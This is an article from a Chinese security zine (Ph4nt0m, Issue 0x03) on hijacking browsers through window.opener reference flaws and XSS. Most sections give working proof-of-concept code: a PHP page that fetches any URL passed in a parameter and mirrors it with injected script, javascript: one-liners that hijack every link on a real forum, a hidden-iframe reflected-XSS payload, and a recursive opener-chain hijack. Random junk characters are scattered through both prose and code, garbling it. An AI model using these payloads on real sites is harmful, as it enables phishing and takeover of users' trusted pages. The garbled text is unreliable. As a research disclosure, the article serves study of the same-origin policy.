==Ph4nt0m Security Team==; S |+ S9 V' N: {
- Y# X2 b5 k: ~; {
Issue 0x03, Phile #0x05 of 0x07- v7 x3 A' @) R1 t }
?) i! R B- y1 [* ~3 O) }9 B2 {3 { J7 o% f8 F7 q" E
|=---------------------------------------------------------------------------=|8 ^0 p6 l, \, k
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
0 t9 w& |8 {6 ^8 X5 ?( v( b|=---------------------------------------------------------------------------=|6 J& H% N) ^# d5 M f
|=---------------------------------------------------------------------------=|
( P& K j+ b. U2 r+ R2 m2 f- z|=------------------------=[ By rayh4c ]=---------------------------=|2 ]7 g1 X! [' ]! Z; N% ]3 O
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
, v: K& Y( ~0 G" H' n1 w|=---------------------------------------------------------------------------=|
, B! H7 o ] h. f+ {$ r
8 u; u5 s4 Y4 S f+ k) d
, J. g _- Z' U! ][目录]. `4 O$ x! v& X* o
( |% X: e& {/ Y. U2 R2 \6 M3 s9 ?1. 前言" G+ i3 c d: C% V
2. 同源策略简叙
) b1 |, n* I! g5 [3. 理解window对象的同源策略/ W% G7 w3 O7 ^! o7 a. `' X
4. 窗口引用功能中的同源策略漏洞( A; _% \" ~! W1 _$ h. J9 A) ?
4.1 父窗口引用子窗口的同源策略问题
% M* O7 G3 E6 a3 v 4.2 子窗口引用父窗口的同源策略问题
. V9 m: o5 S" h* `, }( P- R0 i5. 利用窗口引用漏洞劫持浏览器8 ]1 X: k% L5 V6 m5 l/ j! a% b
6. 利用XSS漏洞劫持浏览器
$ q8 r! t; F+ u% x. L 6.1 正向跨窗口劫持1 c% q+ L8 \+ {' c0 V
6.2 反向跨窗口劫持7 [# M8 _7 g# e! x: }$ Z$ k
6.3 极度危险的跨框架窗口引用劫持
8 [- g% o; U8 D9 ]- P( l 6.4 极度危险的正反向跨窗口递归劫持
' L9 t* y' e% Z9 P T& z ^" f$ P 6.5 完全控制浏览器
' j/ L. y a. r+ m% @6 ~+ P7. 后记
# U5 i5 ~! V9 `: c( Q/ n8. 参考
8 A6 C! v5 u/ k: v2 q c' e. F1 ^0 K! _# V. T4 h K
$ \7 K8 B; l- S! h3 u, c% R+ P
一、前言
( w$ z# ~; w; Y' P! p9 O
+ d/ H/ O# x& X8 R+ ` 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋) \% B, P: i, a+ c( {4 V
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session6 _6 i8 x1 \) N$ |) i4 R/ M2 T
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被7 r% F, B5 ?( ]
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
9 P8 |* N6 ]0 O" j! j8 \5 k9 {& U
0 p: u$ [2 R* m, _3 ?! ~' O# ]$ a2 D6 |3 b( D; ~# B
二、同源策略简叙( k; s. l* \9 O7 Q+ m& |. P! A7 c+ ^
/ p& `3 m' ]& m/ M. q+ F$ y
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以 g+ p5 b: p9 G! }( U
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都( ~; v: s& m# x6 [, l# [
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
" T8 K9 `' _5 W0 w马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
' A: W0 B1 z) a漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。 l9 m! Z- I$ m5 B) M0 s7 b ]8 e
+ K* n0 H2 Y7 Z0 G# D, w9 R$ |4 e: G0 m
三、理解window对象的同源策略' Z( [# [- d' w
U" Q" m( t% q: i
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
+ U! I0 Q; y. c+ z0 C象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:# D) ]% f9 I5 Q) \6 e- ^' q
8 u* T# H# K% c6 t$ C, B1 {. |--code-------------------------------------------------------------------------
1 Q: Z0 o+ E4 K& v2 g. X2 ]<script language="javascript">, b- ~$ @; d; X+ ~3 G$ S3 y
for(p in window) document.write(p+"<br>");
1 L+ D% z# P6 i: k8 E</script>
. U( w4 i6 C- B: C7 O-------------------------------------------------------------------------------
( [( A3 w' f, z) G' F8 @5 N9 ?
; F& I% S0 S3 f* E$ m4 E5 R. ` 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方2 D. T' v9 w" b) H0 b Y& I( `
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
[& M( z, m' j# `. n; f这些属性和方法就必须遵循同源策略。
) z! I2 I* Y6 a( X- a2 e# S2 H/ k/ n* E
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那) a" D& |* c: M) D, G' F3 R m
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须& c/ r# L9 E e1 }
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这& |1 q9 @$ I2 R, i5 F/ Y
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
2 Y& t9 w; R0 c. |值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location9 x8 O; S; S6 F/ o- A7 P/ C0 R
属性并没有被拒绝访问。2 Z# i- m" q2 ]2 d
4 H' `6 a( _& k2 n& E
--demo.html--------------------------------------------------------------------) C3 X) j% \; Z8 I
<script language="javascript">
h4 P6 e( b i' w X: G* {1 bfunction allPrpos(obj) {
; C8 h: J- P: D var props = "<table><tr><td>名称</td><td>值</td>";
: J" o4 e* o" o# c1 M for(var p in obj){ # b E3 Y: [2 q( M' a8 N) M: {2 r _: g
if(typeof(obj[p])=="function"){ - M6 M M7 {. X; ~7 r
obj[p](); * u; ~) g- P: z4 B3 e$ r9 [
}else{ $ [5 T( R# B. S
try $ {3 Y' `# N; B3 b0 {
{
4 ]" J# t n8 Z |( [ props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
9 o0 c: N5 [! }$ x- N }
. q+ P# O } {" ~% R' L: h0 v catch (ex)
- Z% n; @" V7 }# J h9 S% C {
/ x e" C8 F$ ^% r1 P. s- S) i # w6 k" W) Q+ Y! r
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; & ]# A$ |9 G5 Z6 i. [1 F( f* ]
} & s3 Z; w3 c' O Q
0 G4 ~4 X. ?: o! | A
}
" N% J% ~7 t4 b F+ _ }
" M9 Z' h' R1 p, |* T( X; @7 c ! |6 Q8 O k7 r
document.write(props+"</table>");
. w+ O/ [5 Q+ h' J& c$ `}
1 N, K X5 [/ }1 e5 u ; o# _! r4 {6 s4 J4 W
function createWin() {
8 G2 M1 D- y! L; y6 { newWin = window.open ("http://www.google.com"); + V1 R, [3 I: p5 \) |+ ?! `; F
setTimeout(function(){allPrpos(newWin)},2000); / |) G; N( e3 k# P$ y( m9 G
} : v" q f3 l# {( S/ Z2 r8 z8 L3 O
6 j0 T3 Y1 a9 G2 {</script> - x: b5 G7 m5 q' ]& l
( ?/ G; K) p- N! C* q<button onclick='createWin()'>创建一个非同源子窗口测试</button>5 @, E/ B1 [" Q1 z( L. l3 c
-------------------------------------------------------------------------------
/ b/ k6 v& `/ g/ ^0 L$ b9 L( q1 F; i! T
/ q# V8 N' P- I% u+ j" i2 a) v4 T
四、窗口引用功能中的同源策略漏洞
" S E) w: i2 N- t& Q1 a
$ |. _4 L7 g" p2 i8 |9 \( Z. ~9 F4.1 父窗口引用子窗口的同源策略问题! }- h6 s; n7 _, w$ S9 J
9 s7 @4 ~+ G8 p$ z+ H% z
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
# n; C$ L3 R# i0 `& d但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
. h9 x0 V" {5 H% K W; _: M" K; f浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进, C% H! f: @- a7 s
行测试,会发现父窗口可以控制非同源子窗口location属性值。3 t3 e+ L3 q( ^& ~7 B
3 k9 J, v2 }! L1 I' z* A' y
--vul1.html--------------------------------------------------------------------, P& Q. V, p. e* G0 E% J
<script language="javascript">
' a* u E+ q& s0 ]9 J$ o8 V" L: xfunction createWin() {
6 G7 w2 _7 T# k0 J4 K# @ newWin = window.open ("http://www.google.com");
2 K- s7 c/ d0 D6 K5 ~ setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 1 {2 d' x, W3 N% k" S$ \* N
} + ?. X4 C4 G2 Z
</script>3 w7 z5 K% M5 _: H9 Z$ d
: F6 M+ E3 M$ |; Y
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
1 T3 o* @1 }1 e. @& k-------------------------------------------------------------------------------4 G1 J V4 g- o9 C; {7 d3 M6 {0 h1 v
# l2 x# z. \. L$ \
! m$ l7 j0 a: \4 S2 f& h. A5 e
4.2 子窗口引用父窗口的同源策略问题. Z t8 X+ d( s# R& b2 e/ f
2 [9 @3 u% F+ [- j# @ 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使9 h/ Z) ?5 M5 S: {* |
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
/ Q/ T8 v \/ v% X可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
2 x5 I" u8 @! |& Y3 k会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
! d. _, u# D$ |! }
0 D4 f# ]/ M/ J- z' m--code-------------------------------------------------------------------------+ N, j- w2 b6 o3 ~7 N1 w! b3 g
+ K( J2 q7 ^+ V# n5 {: }4 h5 O3 l) `2 _
javascript:window.opener.location = "http://www.80sec.com";void(0);8 ]0 I2 v4 M! }, w" }& {) ? d& R
# h' h" ]* }% }4 ~-------------------------------------------------------------------------------$ Q. k- G2 E3 e( w* j& G
: X) F" w6 E) q" l
2 `) s: O: B2 T/ h五、利用窗口引用漏洞劫持浏览器
, T4 j4 T& F3 R5 V" D* i2 D- n0 q! ?) A7 G
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子& Z& D+ W% L$ y& Z1 ]# v
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
~9 e% a" q J+ C么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。" _/ ?1 r. N4 j2 K: D/ L
" W8 k! p! Q+ r' J' l 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产. [4 k2 @# s; B d- A+ ^. b- V$ N
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
6 f) O. l- V4 ]7 I+ r" {6 `者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接% ?9 N( i+ v5 P9 l4 C
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
' U3 C, o5 J, o3 @7 `3 z+ w会产生什么可怕的后果。
! o2 d' G8 L, [! U
2 B) Z6 b3 ]0 |, e% F 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
" [5 O$ z5 ~1 l0 @们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
5 k y6 e$ D) Z0 L这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时& P7 U* ^0 E" @. p4 @
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可0 m4 J) B7 H# A
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
9 J: ?) N$ O- N T6 A( @+ n# o7 @
& U5 y Y3 ^2 `- P--hjk_ref.php------------------------------------------------------------------
7 x, _' I7 F; r) B. c<?php6 l# E/ n4 D: }; S
if (array_key_exists("HTTP_REFERER", $_SERVER)) {4 D$ J8 s" F% h7 b8 X3 n- t2 n8 G
$Url_Mirror = $_SERVER["HTTP_REFERER"];
' w% d$ p: S `* V: r) a; i; O) C} % ?' _9 j2 u9 ^$ H0 F% \. I
if(isset ($_GET['ref'])) {" t, I7 u. q; \0 N
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';2 A" S: Q0 J7 G$ w3 O- g
}$ g% q: b1 |3 G) S) G+ X
?>/ }$ I! D1 [$ E4 S b# Y$ @
( S- J3 s6 E! p# v
<script language="javascript">
' h0 E8 g5 a7 ]' L& v$ j: H# isetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
# ?# N: L3 o2 {- g# z</script>2 x' @9 S [! l5 i% N: w" i9 I( j
-------------------------------------------------------------------------------
3 d: ^' G# l* K0 B0 s, Y
d$ p' y1 e& n ]4 x9 q% x. _ 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
6 }. g2 P! A/ Q$ k9 U6 B5 m$ L& W: P
1 f" b' C' z+ O1 y+ i
六、利用XSS漏洞劫持浏览器
, N, ~0 F j6 w* a2 W4 F0 F
+ b# W0 e6 Y) D) ^ 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
) T; g; h) O+ Z; q1 \ N* M* U" J+ ]/ s持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
+ c! X/ w; T8 }' h- \" d+ [XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起% g+ m8 Y) i4 O3 r W/ j
讨论跨站师的终极技巧:7 u. {! n8 ]$ q) J' P1 v
, x9 U2 n T9 P l
- Y% G; u2 U) p' }1 V
6.1 正向跨窗口劫持
7 Z/ _, A' w/ L
: R% ]- Q1 r( E' x- \' H5 a 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛, E0 I0 R q% K. l& P! ^- {4 z
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
, A2 r P' G6 t4 B1 {, N7 n8 H接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
% R& ^ [. Q9 b4 ` E' [( v# u" g框脚本。
6 K- s* b C: T0 J# g
6 A& U: z, e J3 P% S$ z7 y--hijack_open.js---------------------------------------------------------------+ i& c6 o( S h7 \# h. ?
6 n8 C5 _" i7 o" _" h7 T
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
8 y' e( F8 t; Y, w( @5 Q( U0 C2 d; @, ~) Q+ h8 u2 j
-------------------------------------------------------------------------------! \% r9 j8 F: W7 Y" V
: J% G3 e) e9 } @
$ K, T2 C' M c" X! k0 d" h( i
6.2 反向跨窗口劫持# c6 O% G- p* O: ^+ Z
5 P q4 H) V2 d. h) X1 v: } 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
7 L" y3 E+ C B$ G% O" l/ k码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话: n& Z% y6 |( H4 q: `
框脚本。" q3 q0 }1 g, w, ^( I
# P4 v. P- y' @$ f c--hijack_opener.js-------------------------------------------------------------
1 Y( w5 I* ^( j# h4 P |$ V Q* G: S
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);- I0 J$ S1 K) P9 O4 F3 ]8 D9 b
. B, K; t6 e% M: j5 N8 m-------------------------------------------------------------------------------1 \) |- X; p7 X' m0 r' h4 L+ R
! \1 D/ ?4 M" G" z8 @
/ M8 s' ]% l; [9 w
6.3 极度危险的跨框架窗口引用劫持, r5 S+ f2 M& ?/ w. V
1 m9 s' \" t6 D# A( X
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
/ A5 b# e- |8 @5 e1 u o0 ?可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
! V7 Q9 G2 X. C. X! p适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个7 _- ^9 X3 Y' b/ ]( x2 y* C
非持久型的XSS,如下:5 S* K- k. B: z5 s3 x' f& ?
+ M4 ~0 T6 Q4 Q<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>* O" A0 y. i2 i; A7 g6 r$ g0 Y
( k* N8 i: W$ M! B, ^; q, Q
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
9 z5 v0 c2 T- g- V) c) c注入脚本。
* T( x. f6 s0 N, u0 \/ f* l5 f f; Z; k# O
--hijack_frame_opener.js-------------------------------------------------------
2 }* Q+ h5 i, T4 o& d) @<script>
0 C3 o6 |! Z/ _7 r5 Ywindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
E- p/ P8 K, ^</script>
1 Y' T- M. ?. t3 d1 U-------------------------------------------------------------------------------
$ v3 ?/ m% \! w2 A
* ~; X3 e O! Q, o6 o5 \1 h/ h" W1 c: e) B4 R
6.4 极度危险的正反向跨窗口递归劫持
- t7 \- M0 o9 I" P% `0 Q+ V7 O$ Q \; c6 ~
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
& Y: Q6 ~1 K L7 B1 D+ Q; T+ s# p的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
' C1 Y) g2 F3 h' j: z2 \3 x4 @3 P异常处理规避之间跨域页面的访问异常,代码如下:0 k! B5 F U" r. B
: s+ Z" k9 b( @! d9 d--code-------------------------------------------------------------------------
1 ?, c6 f% I9 r! L, q* F9 {% o, n: N
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
^& {+ J$ w. O8 M: T5 h/ w+ w" B; s# O6 n! w% U `/ b7 g$ n
-------------------------------------------------------------------------------
6 E1 n3 t6 @1 n" t$ a
, [- h, Z+ x& {* w 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可+ y; ?# C6 _* o% N/ B& r
以劫持B域之前的A域页面,从而实现“隔空打击”。
) i( o5 G: c) f9 u
" A! D% N# [8 i0 ]' {1 H 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
5 n7 a6 P. U5 r, ~- a# m执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。2 l, ~1 f2 N! l$ F& t# j4 Y4 a
: p) v' [# ~0 ]8 q
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
& A; c2 L1 {" `9 p- v. n( y2 f0 J( q( t
$ X S1 B" E& D4 O5 [; w C/ o, w4 k A* I: z& ~
6.5 完全控制浏览器
- n; M! w5 [2 I& u( b$ @
8 W* U; S% L2 i3 U) D/ ~( ^ 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
+ b' V2 [ U# Q: m3 B是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
: Z' W7 P: Z" ~* I5 u% u+ v漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失: @, L( E6 j! T4 Z0 i; e- ]$ q5 E- ]
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再2 {% {# v: v& V
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站 [2 h. }* T% A; l0 l
师的终极目标 - 完全控制浏览器。
- H8 n$ C9 N( n: |4 g: M
9 k! ?& b& H$ ?9 p
" r( y1 l, e2 F$ O& A' K* l七、后记# j k& z* w. g8 n
4 [! G4 E- { O2 u' H V. d& C
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全. m! A& }9 \* Y9 T# a' Y6 M
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
; T9 J/ j' E+ K4 M( Q- _过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。3 V; ~$ U4 Z T% ]0 V
) P) }8 i, y/ Y9 _3 h# W: ?. c
; h$ X# R3 k# K5 K八、参考8 s7 `1 [9 |( Z4 S/ ^
' D% Z$ z) N+ K- r6 y" B' h
1. http://en.wikipedia.org/wiki/Same_origin_policy
3 ]: z# d6 X( B- i2. http://code.google.com/p/browser ... licy_for_DOM_access
2 q" Z1 D- w) G" e% D' s& n3. http://www.w3.org/TR/Window/2 `" L, o& Y4 U& L, t1 }
4. http://www.80sec.com/release/browser-hijacking.txt
4 g0 i4 t( i* V* ^" P; j# X' U2 `5. http://www.80sec.com/all-browser-security-alert.html5 ]8 F8 W5 W% f3 S& k
6. http://www.80sec.com/ms08-058-attacks-google.html
8 X6 e% f) Y3 }8 b
- F1 U. t# f+ G& {1 f-EOF- |